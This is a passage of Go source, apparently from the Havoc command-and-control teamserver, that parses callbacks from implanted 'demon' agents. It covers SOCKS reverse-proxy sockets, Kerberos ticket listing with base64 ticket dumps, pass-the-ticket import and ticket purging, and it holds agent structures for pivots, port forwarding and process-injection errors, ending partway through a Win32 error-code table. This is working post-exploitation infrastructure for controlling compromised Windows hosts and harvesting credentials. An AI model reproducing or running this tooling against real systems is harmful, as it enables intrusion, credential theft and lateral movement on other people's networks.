SOCKET_TYPE_REVERSE_PROXY { /* lets remove it */ if a.SocksClientClose(int32(SockId)) == false { logger.Error(fmt.Sprintf("SockId not found: %08x", SockId)) } } else { logger.Error(fmt.Sprintf("Invalid socket type: %d", Type)) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_CLOSE, Invalid packet", AgentID)) } break case SOCKET_COMMAND_CONNECT: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) { var ( Success = Parser.ParseInt32() SocketId = Parser.ParseInt32() ErrorCode = Parser.ParseInt32() ) if Client := a.SocksClientGet(SocketId); Client != nil { if Success == win32.TRUE { // succeeded // avoid too much spam //logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_CONNECT, Id: %08x, Type: %d, Success: %d", AgentID, SocketId, SOCKET_TYPE_REVERSE_PROXY, Success)) err := socks.SendConnectSuccess(Client.Conn, Client.ATYP, Client.IpDomain, Client.Port) if err == nil { Client.Connected = true } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_CONNECT, Id: %08x, Type: %d, Success: %d, ErrorCode: %d", AgentID, SocketId, SOCKET_TYPE_REVERSE_PROXY, Success, ErrorCode)) socks.SendConnectFailure(Client.Conn, uint32(ErrorCode), Client.ATYP, Client.IpDomain, Client.Port) a.SocksClientClose(int32(SocketId)) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_CONNECT, Socket id not found: %x", AgentID, SocketId)) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_CONNECT, Invalid packet", AgentID)) } break default: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - UNKNOWN (%d)", AgentID, SubCommand)) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET, Invalid packet", AgentID)) Message = map[string]string{ "Type": "Error", "Message": fmt.Sprintf("Callback output is smaller than expected. Callback type COMMAND_SOCKET expected at least 4 bytes but received %v bytes", Parser.Length()), } } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) break case COMMAND_KERBEROS: var ( SubCommand int Message map[string]string HighPart int LowPart int Success int ) if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { SubCommand = Parser.ParseInt32() switch SubCommand { case KERBEROS_COMMAND_LUID: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { Success = Parser.ParseInt32() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_LUID, Success: %d", AgentID, Success)) if Success == win32.TRUE { if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) { HighPart = Parser.ParseInt32() LowPart = Parser.ParseInt32() Message = map[string]string{ "Type": "Good", "Message": fmt.Sprintf("Current LogonId: %x:0x%x", HighPart, LowPart), } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_LUID, Invalid packet", AgentID)) } } else { Message = map[string]string{ "Type": "Erro", "Message": "Failed to obtain the current logon ID", } } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_LUID, Invalid packet", AgentID)) } case KERBEROS_COMMAND_KLIST: var ( NumSessions int NumTickets int Output string UserName string Domain string LogonIdLow int LogonIdHigh int Session int UserSID string LogonTimeLow int LogonTimeHigh int LogonTime int64 LogonType int AuthenticationPackage string LogonServer string LogonServerDNSDomain string Upn string ClientName string ClientRealm string ServerName string ServerRealm string StartTime int64 StartTimeLow int StartTimeHigh int EndTime int64 EndTimeLow int EndTimeHigh int RenewTime int64 RenewTimeLow int RenewTimeHigh int EncryptionType int TicketFlags int TicketFlagsStr string Ticket []byte ) if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { Success = Parser.ParseInt32() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_KLIST, Success: %d", AgentID, Success)) if Success == win32.TRUE { if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { NumSessions = Parser.ParseInt32() for NumSessions > 0 && Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes}) { UserName = Parser.ParseUTF16String() Domain = Parser.ParseUTF16String() LogonIdLow = Parser.ParseInt32() LogonIdHigh = Parser.ParseInt32() Session = Parser.ParseInt32() UserSID = Parser.ParseUTF16String() LogonTimeLow = Parser.ParseInt32() LogonTimeHigh = Parser.ParseInt32() LogonType = Parser.ParseInt32() AuthenticationPackage = Parser.ParseUTF16String() LogonServer = Parser.ParseUTF16String() LogonServerDNSDomain = Parser.ParseUTF16String() Upn = Parser.ParseUTF16String() LogonTypes := map[int]string{ win32.LOGON32_LOGON_INTERACTIVE: "Interactive", win32.LOGON32_LOGON_NETWORK: "Network", win32.LOGON32_LOGON_BATCH: "Batch", win32.LOGON32_LOGON_SERVICE: "Service", win32.LOGON32_LOGON_UNLOCK: "Unlock", win32.LOGON32_LOGON_NETWORK_CLEARTEXT: "Network_Cleartext", win32.LOGON32_LOGON_NEW_CREDENTIALS: "New_Credentials", } // go from FILETIME to SYSTEMTIME LogonTime = int64((((LogonTimeHigh << (4 * 8)) | LogonTimeLow) - 0x019DB1DED53E8000) / 10000000) Output += fmt.Sprintf("UserName : %s\n", UserName) Output += fmt.Sprintf("Domain : %s\n", Domain) Output += fmt.Sprintf("LogonId : %x:0x%x\n", LogonIdHigh, LogonIdLow) Output += fmt.Sprintf("Session : %d\n", Session) Output += fmt.Sprintf("UserSID : %s\n", UserSID) Output += fmt.Sprintf("LogonTime : %s\n", time.Unix(LogonTime, 0)) Output += fmt.Sprintf("Authentication package : %s\n", AuthenticationPackage) Output += fmt.Sprintf("LogonType : %s\n", LogonTypes[LogonType]) Output += fmt.Sprintf("LogonServer : %s\n", LogonServer) Output += fmt.Sprintf("LogonServerDNSDomain : %s\n", LogonServerDNSDomain) Output += fmt.Sprintf("UserPrincipalName : %s\n", Upn) if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { NumTickets = Parser.ParseInt32() Output += fmt.Sprintf("Cached tickets: : %d\n", NumTickets) for NumTickets > 0 && Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadBytes}) { ClientName = Parser.ParseUTF16String() ClientRealm = Parser.ParseUTF16String() ServerName = Parser.ParseUTF16String() ServerRealm = Parser.ParseUTF16String() StartTimeLow = Parser.ParseInt32() StartTimeHigh = Parser.ParseInt32() EndTimeLow = Parser.ParseInt32() EndTimeHigh = Parser.ParseInt32() RenewTimeLow = Parser.ParseInt32() RenewTimeHigh = Parser.ParseInt32() EncryptionType = Parser.ParseInt32() TicketFlags = Parser.ParseInt32() Ticket = Parser.ParseBytes() // go from FILETIME to SYSTEMTIME StartTime = int64((((StartTimeHigh << (4 * 8)) | StartTimeLow) - 0x019DB1DED53E8000) / 10000000) EndTime = int64((((EndTimeHigh << (4 * 8)) | EndTimeLow) - 0x019DB1DED53E8000) / 10000000) RenewTime = int64((((RenewTimeHigh << (4 * 8)) | RenewTimeLow) - 0x019DB1DED53E8000) / 10000000) EncryptionTypes := map[int]string{ win32.DES_CBC_CRC: "DES_CBC_CRC", win32.DES_CBC_MD4: "DES_CBC_MD4", win32.DES_CBC_MD5: "DES_CBC_MD5", win32.DES3_CBC_MD5: "DES3_CBC_MD5", win32.DES3_CBC_SHA1: "DES3_CBC_SHA1", win32.DSAWITHSHA1_CMSOID: "DSAWITHSHA1_CMSOID", win32.MD5WITHRSAENCRYPTION_CMSOID: "MD5WITHRSAENCRYPTION_CMSOID", win32.SHA1WITHRSAENCRYPTION_CMSOID: "SHA1WITHRSAENCRYPTION_CMSOID", win32.RC2CBC_ENVOID: "RC2CBC_ENVOID", win32.RSAENCRYPTION_ENVOID: "RSAENCRYPTION_ENVOID", win32.RSAES_OAEP_ENV_OID: "RSAES_OAEP_ENV_OID", win32.DES3_CBC_SHA1_KD: "DES3_CBC_SHA1_KD", win32.AES128_CTS_HMAC_SHA1: "AES128_CTS_HMAC_SHA1", win32.AES256_CTS_HMAC_SHA1: "AES256_CTS_HMAC_SHA1", win32.RC4_HMAC: "RC4_HMAC", win32.RC4_HMAC_EXP: "RC4_HMAC_EXP", win32.SUBKEY_KEYMATERIAL: "SUBKEY_KEYMATERIAL", win32.OLD_EXP: "OLD_EXP", } TicketFlagTypes := []string{ "name_canonicalize", "anonymous", "ok_as_delegate", "?", "hw_authent", "pre_authent", "initial", "renewable", "invalid", "postdated", "may_postdate", "proxy", "proxiable", "forwarded", "forwardable", "reserved", } TicketFlagsStr = "" for i := 0; i < 16; i++ { if ((TicketFlags >> (i + 16)) & 1) == 1 { TicketFlagsStr += " " + TicketFlagTypes[i] } } TicketFlagsStr += fmt.Sprintf(" (0x%x)", TicketFlags) Output += "\n" Output += fmt.Sprintf("\tClient name : %s @ %s\n", ClientName, ClientRealm) Output += fmt.Sprintf("\tServer name : %s @ %s\n", ServerName, ServerRealm) Output += fmt.Sprintf("\tStart time : %s\n", time.Unix(StartTime, 0)) Output += fmt.Sprintf("\tEnd time : %s\n", time.Unix(EndTime, 0)) Output += fmt.Sprintf("\tRewnew time : %s\n", time.Unix(RenewTime, 0)) Output += fmt.Sprintf("\tEncryption type : %s\n", EncryptionTypes[EncryptionType]) Output += fmt.Sprintf("\tFlags :%s\n", TicketFlagsStr) if len(Ticket) > 0 { Output += fmt.Sprintf("\tTicket : %s\n", base64.StdEncoding.EncodeToString(Ticket)) } NumTickets -= 1 } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_KLIST, Invalid packet", AgentID)) } Output += "\n" NumSessions -= 1 } Message = map[string]string{ "Type": "Info", "Output": Output, } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_KLIST, Invalid packet", AgentID)) } } else { Message = map[string]string{ "Type": "Erro", "Message": "Failed to list all kerberos tickets", } } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_KLIST, Invalid packet", AgentID)) } break case KERBEROS_COMMAND_PURGE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { Success = Parser.ParseInt32() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_PURGE, Success: %d", AgentID, Success)) if Success == win32.TRUE { Message = map[string]string{ "Type": "Good", "Message": "Successfully purged the Kerberos ticket", } } else { Message = map[string]string{ "Type": "Erro", "Message": "Failed to purge the kerberos ticket", } } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_PURGE, Invalid packet", AgentID)) } case KERBEROS_COMMAND_PTT: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { Success = Parser.ParseInt32() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_PTT, Success: %d", AgentID, Success)) if Success == win32.TRUE { Message = map[string]string{ "Type": "Good", "Message": "Successfully imported the Kerberos ticket", } } else { Message = map[string]string{ "Type": "Erro", "Message": "Failed to import the kerberos ticket", } } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_PTT, Invalid packet", AgentID)) } default: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - UNKNOWN (%d)", AgentID, SubCommand)) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS, Invalid packet", AgentID)) } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) break case COMMAND_MEM_FILE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) { var ( MemFileID = Parser.ParseInt32() Success = Parser.ParseInt32() ) // TODO: don't ignore this packet? // if this fails, then inline-execute, dotnet, or upload will show the error logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_MEM_FILE, Success: %d, MemFileID: %x", AgentID, Success, MemFileID)) a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_MEM_FILE, Invalid packet", AgentID)) } break; case COMMAND_PACKAGE_DROPPED: var ( Message map[string]string ) if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) { var ( PkgLength = Parser.ParseInt32() MaxLength = Parser.ParseInt32() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PACKAGE_DROPPED, PkgLength: 0x%x, MaxLength: 0x%x", AgentID, PkgLength, MaxLength)) Message = map[string]string{ "Type": "Erro", "Message": "A package was discarded by demon for being larger than PIPE_BUFFER_MAX", } // a single command can generate multiple dropped packages //a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PACKAGE_DROPPED, Invalid packet", AgentID)) } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) break; default: logger.Debug(fmt.Sprintf("Agent: %x, Command: UNKNOWN (%d))", AgentID, CommandID)) /* end of the switch case output parser */ break } if Parser.Length() > 0 { logger.Debug(fmt.Sprintf("Agent: %x, %d bytes were left unread", AgentID, Parser.Length())) } } func (a *Agent) Console(Console func(DemonID string, CommandID int, Output map[string]string), Type, Text, Output string) { var Message = map[string]string{ "Type": Type, "Message": Text, "Output": Output, } Console(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) } ================================================ FILE: teamserver/pkg/agent/types.go ================================================ package agent import ( "sync" "net" "os" "Havoc/pkg/common/parser" "Havoc/pkg/packager" "Havoc/pkg/socks" ) const ( typeGood = "Good" typeInfo = "Info" typeError = "Error" ) type DemonInterface interface { // TODO: move everything from RoutineFunc here } type EventInterface interface { } type Header struct { Size int MagicValue int AgentID int Data *parser.Parser } type ServiceAgentInterface interface { SendResponse(AgentInfo any, Header Header) []byte SendAgentBuildRequest(ClientID string, Config map[string]any, Listener map[string]any) } // TeamServer // interface that allows us to interact with the core teamserver type TeamServer interface { AgentUpdate(agent *Agent) Died(Agent *Agent) ParentOf(Agent *Agent) (int, error) LinksOf(Agent *Agent) []int LinkRemove(ParentAgent *Agent, LinkAgent *Agent, UpdateLinks bool) LinkAdd(ParentAgent *Agent, LinkAgent *Agent) error AgentHasDied(Agent *Agent) bool AgentAdd(agent *Agent) []*Agent PythonModuleCallback(ClientID string, AgentID string, CommandID int, Output map[string]string) AgentSendNotify(agent *Agent) AgentCallbackSize(DemonInstance *Agent, i int) AgentInstance(AgentID int) *Agent AgentLastTimeCalled(AgentID string, LastCallback string, Sleep int, Jitter int, KillDate int64, WorkingHours int32) AgentExist(AgentID int) bool AgentConsole(DemonID string, CommandID int, Output map[string]string) EventAppend(event packager.Package) []packager.Package EventBroadcast(ExceptClient string, pk packager.Package) EventNewDemon(DemonAgent *Agent) packager.Package EventAgentMark(AgentID, Mark string) EventListenerError(ListenerName string, Error error) ListenerAdd(FromUser string, Type int, Config any) packager.Package ServiceAgent(MagicValue int) ServiceAgentInterface ServiceAgentExist(MagicValue int) bool GetDotNetPipeTemplate() string SendLogs() bool } type Job struct { Command uint32 RequestID uint32 Data []interface{} Payload []byte CommandLine string TaskID string Created string Encryption struct { Key []byte IV []byte } } type Pivots struct { Parent *Agent Links []*Agent } type Download struct { File *os.File FileID int FilePath string LocalFile string TotalSize int64 Progress int64 State int } type BofCallback struct { TaskID uint32 Output string Error string ClientID string } type PortFwd struct { Conn net.Conn SocktID int Type int LclAddr int LclPort int FwdAddr int FwdPort int Target string } type SocksClient struct { SocketID int32 Conn net.Conn Connected bool ATYP byte IpDomain []byte Port uint16 } type SocksServer struct { Server *socks.Socks Addr string } // TODO: maybe change this to type map[string]any instead of struct type Agent struct { NameID string JobQueue []Job Tasks []Job SessionDir string Active bool Reason string BofCallbacks []*BofCallback Info *AgentInfo Pivots Pivots /* TODO: make a map called "Optional" where to put demon/3rd party * specific data (either use type "any" or map lets see). * to avoid having some unnecessary data for 3rd party agent */ Downloads []*Download PortFwds []*PortFwd PortFwdsMtx sync.Mutex SocksCli []*SocksClient SocksCliMtx sync.Mutex SocksSvr []*SocksServer SocksSvrMtx sync.Mutex Encryption struct { AESKey []byte AESIv []byte } TaskedOnce bool /* general value. leave it... */ BackgroundCheck bool } type AgentInfo struct { // Connection Info Listener any MagicValue int SleepDelay int SleepJitter int KillDate int64 WorkingHours int32 // OS Info OSVersion string OSArch string OSBuild string InternalIP string ExternalIP string Hostname string DomainName string Username string // User Info Elevated string // Process Info ProcessArch string ProcessName string ProcessPID int ProcessTID int ProcessPPID int ProcessPath string BaseAddress int64 // Call home from Demon FirstCallIn string LastCallIn string } type Agents struct { Agents []*Agent } var InjectErrors = map[int]string{ 0x1001: "trying to inject a x64 payload into a x86 process", 0x1002: "trying to inject a x86 payload into a x64 process", 0x1003: "failed to spawn target process", } const ( DOWNLOAD_STATE_RUNNING = 0x1 DOWNLOAD_STATE_STOPPED = 0x2 DOWNLOAD_STATE_REMOVE = 0x3 ) var Win32ErrorCodes = map[int]string{ 1: "ERROR_INVALID_FUNCTION", 2: "ERROR_FILE_NOT_FOUND", 3: "ERROR_PATH_NOT_FOUND", 4: "ERROR_TOO_MANY_OPEN_FILES", 5: "ERROR_ACCESS_DENIED", 6: "ERROR_INVALID_HANDLE", 7: "ERROR_ARENA_TRASHED", 8: "ERROR_NOT_ENOUGH_MEMORY", 9: "ERROR_INVALID_BLOCK", 10: "ERROR_BAD_ENVIRONMENT", 11: "ERROR_BAD_FORMAT", 12: "ERROR_INVALID_ACCESS", 13: "ERROR_INVALID_DATA", 14: "ERROR_OUTOFMEMORY", 15: "ERROR_INVALID_DRIVE", 16: "ERROR_CURRENT_DIRECTORY", 17: "ERROR_NOT_SAME_DEVICE", 18: "ERROR_NO_MORE_FILES", 19: "ERROR_WRITE_PROTECT", 20: "ERROR_BAD_UNIT", 21: "ERROR_NOT_READY", 22: "ERROR_BAD_COMMAND", 23: "ERROR_CRC", 24: "ERROR_BAD_LENGTH", 25: "ERROR_SEEK", 26: "ERROR_NOT_DOS_DISK", 27: "ERROR_SECTOR_NOT_FOUND", 28: "ERROR_OUT_OF_PAPER", 29: "ERROR_WRITE_FAULT", 30: "ERROR_READ_FAULT", 31: "ERROR_GEN_FAILURE", 32: "ERROR_SHARING_VIOLATION", 33: "ERROR_LOCK_VIOLATION", 34: "ERROR_WRONG_DISK", 36: "ERROR_SHARING_BUFFER_EXCEEDED", 38: "ERROR_HANDLE_EOF", 39: "ERROR_HANDLE_DISK_FULL", 50: "ERROR_NOT_SUPPORTED", 51: "ERROR_REM_NOT_LIST", 52: "ERROR_DUP_NAME", 53: "ERROR_BAD_NETPATH", 54: "ERROR_NETWORK_BUSY", 55: "ERROR_DEV_NOT_EXIST", 56: "ERROR_TOO_MANY_CMDS", 57: "ERROR_ADAP_HDW_ERR", 58: "ERROR_BAD_NET_RESP", 59: "ERROR_UNEXP_NET_ERR", 60: "ERROR_BAD_REM_ADAP", 61: "ERROR_PRINTQ_FULL", 62: "ERROR_NO_SPOOL_SPACE", 63: "ERROR_PRINT_CANCELLED", 64: "ERROR_NETNAME_DELETED", 65: "ERROR_NETWORK_ACCESS_DENIED", 66: "ERROR_BAD_DEV_TYPE", 67: "ERROR_BAD_NET_NAME", 68: "ERROR_TOO_MANY_NAMES", 69: "ERROR_TOO_MANY_SESS", 70: "ERROR_SHARING_PAUSED", 71: "ERROR_REQ_NOT_ACCEP", 72: "ERROR_REDIR_PAUSED", 80: "ERROR_FILE_EXISTS", 82: "ERROR_CANNOT_MAKE", 83: "ERROR_FAIL_I24", 84: "ERROR_OUT_OF_STRUCTURES", 85: "ERROR_ALREADY_ASSIGNED", 86: "ERROR_INVALID_PASSWORD", 87: "ERROR_INVALID_PARAMETER", 88: "ERROR_NET_WRITE_FAULT", 89: "ERROR_NO_PROC_SLOTS", 100: "ERROR_TOO_MANY_SEMAPHORES", 101: "ERROR_EXCL_SEM_ALREADY_OWNED", 102: "ERROR_SEM_IS_SET", 103: "ERROR_TOO_MANY_SEM_REQUESTS", 104: "ERROR_INVALID_AT_INTERRUPT_TIME", 105: "ERROR_SEM_OWNER_DIED", 106: "ERROR_SEM_USER_LIMIT", 107: "ERROR_DISK_CHANGE", 108: "ERROR_DRIVE_LOCKED", 109: "ERROR_BROKEN_PIPE", 110: "ERROR_OPEN_FAILED", 111: "ERROR_BUFFER_OVERFLOW", 112: "ERROR_DISK_FULL", 113: "ERROR_NO_MORE_SEARCH_HANDLES", 114: "ERROR_INVALID_TARGET_HANDLE", 117: "ERROR_INVALID_CATEGORY", 118: "ERROR_INVALID_VERIFY_SWITCH", 119: "ERROR_BAD_DRIVER_LEVEL", 120: "ERROR_CALL_NOT_IMPLEMENTED", 121: "ERROR_SEM_TIMEOUT", 122: "ERROR_INSUFFICIENT_BUFFER", 123: "ERROR_INVALID_NAME", 124: "ERROR_INVALID_LEVEL", 125: "ERROR_NO_VOLUME_LABEL", 126: "ERROR_MOD_NOT_FOUND", 127: "ERROR_PROC_NOT_FOUND", 128: "ERROR_WAIT_NO_CHILDREN", 129: "ERROR_CHILD_NOT_COMPLETE", 130: "ERROR_DIRECT_ACCESS_HANDLE", 131: "ERROR_NEGATIVE_SEEK", 132: "ERROR_SEEK_ON_DEVICE", 133: "ERROR_IS_JOIN_TARGET", 134: "ERROR_IS_JOINED", 135: "ERROR_IS_SUBSTED", 136: "ERROR_NOT_JOINED", 137: "ERROR_NOT_SUBSTED", 138: "ERROR_JOIN_TO_JOIN", 139: "ERROR_SUBST_TO_SUBST", 140: "ERROR_JOIN_TO_SUBST", 141: "ERROR_SUBST_TO_JOIN", 142: "ERROR_BUSY_DRIVE", 143: "ERROR_SAME_DRIVE", 144: "ERROR_DIR_NOT_ROOT", 145: "ERROR_DIR_NOT_EMPTY", 146: "ERROR_IS_SUBST_PATH", 147: "ERROR_IS_JOIN_PATH", 148: "ERROR_PATH_BUSY", 149: "ERROR_IS_SUBST_TARGET", 150: "ERROR_SYSTEM_TRACE", 151: "ERROR_INVALID_EVENT_COUNT", 152: "ERROR_TOO_MANY_MUXWAITERS", 153: "ERROR_INVALID_LIST_FORMAT", 154: "ERROR_LABEL_TOO_LONG", 155: "ERROR_TOO_MANY_TCBS", 156: "ERROR_SIGNAL_REFUSED", 157: "ERROR_DISCARDED", 158: "ERROR_NOT_LOCKED", 159: "ERROR_BAD_THREADID_ADDR", 160: "ERROR_BAD_ARGUMENTS", 161: "ERROR_BAD_PATHNAME", 162: "ERROR_SIGNAL_PENDING", 164: "ERROR_MAX_THRDS_REACHED", 167: "ERROR_LOCK_FAILED", 170: "ERROR_BUSY", 173: "ERROR_CANCEL_VIOLATION", 174: "ERROR_ATOMIC_LOCKS_NOT_SUPPORTED", 180: "ERROR_INVALID_SEGMENT_NUMBER", 182: "ERROR_INVALID_ORDINAL", 183: "ERROR_ALREADY_EXISTS", 186: "ERROR_INVALID_FLAG_NUMBER", 187: "ERROR_SEM_NOT_FOUND", 188: "ERROR_INVALID_STARTING_CODESEG", 189: "ERROR_INVALID_STACKSEG", 190: "ERROR_INVALID_MODULETYPE", 191: "ERROR_INVALID_EXE_SIGNATURE", 192: "ERROR_EXE_MARKED_INVALID", 193: "ERROR_BAD_EXE_FORMAT", 194: "ERROR_ITERATED_DATA_EXCEEDS_64k", 195: "ERROR_INVALID_MINALLOCSIZE", 196: "ERROR_DYNLINK_FROM_INVALID_RING", 197: "ERROR_IOPL_NOT_ENABLED", 198: "ERROR_INVALID_SEGDPL", 199: "ERROR_AUTODATASEG_EXCEEDS_64k", 200: "ERROR_RING2SEG_MUST_BE_MOVABLE", 201: "ERROR_RELOC_CHAIN_XEEDS_SEGLIM", 202: "ERROR_INFLOOP_IN_RELOC_CHAIN", 203: "ERROR_ENVVAR_NOT_FOUND", 205: "ERROR_NO_SIGNAL_SENT", 206: "ERROR_FILENAME_EXCED_RANGE", 207: "ERROR_RING2_STACK_IN_USE", 208: "ERROR_META_EXPANSION_TOO_LONG", 209: "ERROR_INVALID_SIGNAL_NUMBER", 210: "ERROR_THREAD_1_INACTIVE", 212: "ERROR_LOCKED", 214: "ERROR_TOO_MANY_MODULES", 215: "ERROR_NESTING_NOT_ALLOWED", 216: "ERROR_EXE_MACHINE_TYPE_MISMATCH", 217: "ERROR_EXE_CANNOT_MODIFY_SIGNED_BINARY", 218: "ERROR_EXE_CANNOT_MODIFY_STRONG_SIGNED_BINARY", 220: "ERROR_FILE_CHECKED_OUT", 221: "ERROR_CHECKOUT_REQUIRED", 222: "ERROR_BAD_FILE_TYPE", 223: "ERROR_FILE_TOO_LARGE", 224: "ERROR_FORMS_AUTH_REQUIRED", 225: "ERROR_VIRUS_INFECTED", 226: "ERROR_VIRUS_DELETED", 229: "ERROR_PIPE_LOCAL", 230: "ERROR_BAD_PIPE", 231: "ERROR_PIPE_BUSY", 232: "ERROR_NO_DATA", 233: "ERROR_PIPE_NOT_CONNECTED", 234: "ERROR_MORE_DATA", 240: "ERROR_VC_DISCONNECTED", 254: "ERROR_INVALID_EA_NAME", 255: "ERROR_EA_LIST_INCONSISTENT", 258: "WAIT_TIMEOUT", 259: "ERROR_NO_MORE_ITEMS", 266: "ERROR_CANNOT_COPY", 267: "ERROR_DIRECTORY", 275: "ERROR_EAS_DIDNT_FIT", 276: "ERROR_EA_FILE_CORRUPT", 277: "ERROR_EA_TABLE_FULL", 278: "ERROR_INVALID_EA_HANDLE", 282: "ERROR_EAS_NOT_SUPPORTED", 288: "ERROR_NOT_OWNER", 298: "ERROR_TOO_MANY_POSTS", 299: "ERROR_PARTIAL_COPY", 300: "ERROR_OPLOCK_NOT_GRANTED", 301: "ERROR_INVALID_OPLOCK_PROTOCOL", 302: "ERROR_DISK_TOO_FRAGMENTED", 303: "ERROR_DELETE_PENDING", 317: "ERROR_MR_MID_NOT_FOUND", 318: "ERROR_SCOPE_NOT_FOUND", 350: "ERROR_FAIL_NOACTION_REBOOT", 351: "ERROR_FAIL_SHUTDOWN", 352: "ERROR_FAIL_RESTART", 353: "ERROR_MAX_SESSIONS_REACHED", 400: "ERROR_THREAD_MODE_ALREADY_BACKGROUND", 401: "ERROR_THREAD_MODE_NOT_BACKGROUND", 402: "ERROR_PROCESS_MODE_ALREADY_BACKGROUND", 403: "ERROR_PROCESS_MODE_NOT_BACKGROUND", 487: "ERROR_INVALID_ADDRESS", 500: "ERROR_USER_PROFILE_LOAD", 534: "ERROR_ARITHMETIC_OVERFLOW", 535: "ERROR_PIPE_CONNECTED", 536: "ERROR_PIPE_LISTENING", 537: "ERROR_VERIFIER_STOP", 538: "ERROR_ABIOS_ERROR", 539: "ERROR_WX86_WARNING", 540: "ERROR_WX86_ERROR", 541: "ERROR_TIMER_NOT_CANCELED", 542: "ERROR_UNWIND", 543: "ERROR_BAD_STACK", 544: "ERROR_INVALID_UNWIND_TARGET", 545: "ERROR_INVALID_PORT_ATTRIBUTES", 546: "ERROR_PORT_MESSAGE_TOO_LONG", 547: "ERROR_INVALID_QUOTA_LOWER", 548: "ERROR_DEVICE_ALREADY_ATTACHED", 549: "ERROR_INSTRUCTION_MISALIGNMENT", 550: "ERROR_PROFILING_NOT_STARTED", 551: "ERROR_PROFILING_NOT_STOPPED", 552: "ERROR_COULD_NOT_INTERPRET", 553: "ERROR_PROFILING_AT_LIMIT", 554: "ERROR_CANT_WAIT", 555: "ERROR_CANT_TERMINATE_SELF", 556: "ERROR_UNEXPECTED_MM_CREATE_ERR", 557: "ERROR_UNEXPECTED_MM_MAP_ERROR", 558: "ERROR_UNEXPECTED_MM_EXTEND_ERR", 559: "ERROR_BAD_FUNCTION_TABLE", 560: "ERROR_NO_GUID_TRANSLATION", 561: "ERROR_INVALID_LDT_SIZE", 563: "ERROR_INVALID_LDT_OFFSET", 564: "ERROR_INVALID_LDT_DESCRIPTOR", 565: "ERROR_TOO_MANY_THREADS", 566: "ERROR_THREAD_NOT_IN_PROCESS", 567: "ERROR_PAGEFILE_QUOTA_EXCEEDED", 568: "ERROR_LOGON_SERVER_CONFLICT", 569: "ERROR_SYNCHRONIZATION_REQUIRED", 570: "ERROR_NET_OPEN_FAILED", 571: "ERROR_IO_PRIVILEGE_FAILED", 572: "ERROR_CONTROL_C_EXIT", 573: "ERROR_MISSING_SYSTEMFILE", 574: "ERROR_UNHANDLED_EXCEPTION", 575: "ERROR_APP_INIT_FAILURE", 576: "ERROR_PAGEFILE_CREATE_FAILED", 577: "ERROR_INVALID_IMAGE_HASH", 578: "ERROR_NO_PAGEFILE", 579: "ERROR_ILLEGAL_FLOAT_CONTEXT", 580: "ERROR_NO_EVENT_PAIR", 581: "ERROR_DOMAIN_CTRLR_CONFIG_ERROR", 582: "ERROR_ILLEGAL_CHARACTER", 583: "ERROR_UNDEFINED_CHARACTER", 584: "ERROR_FLOPPY_VOLUME", 585: "ERROR_BIOS_FAILED_TO_CONNECT_INTERRUPT", 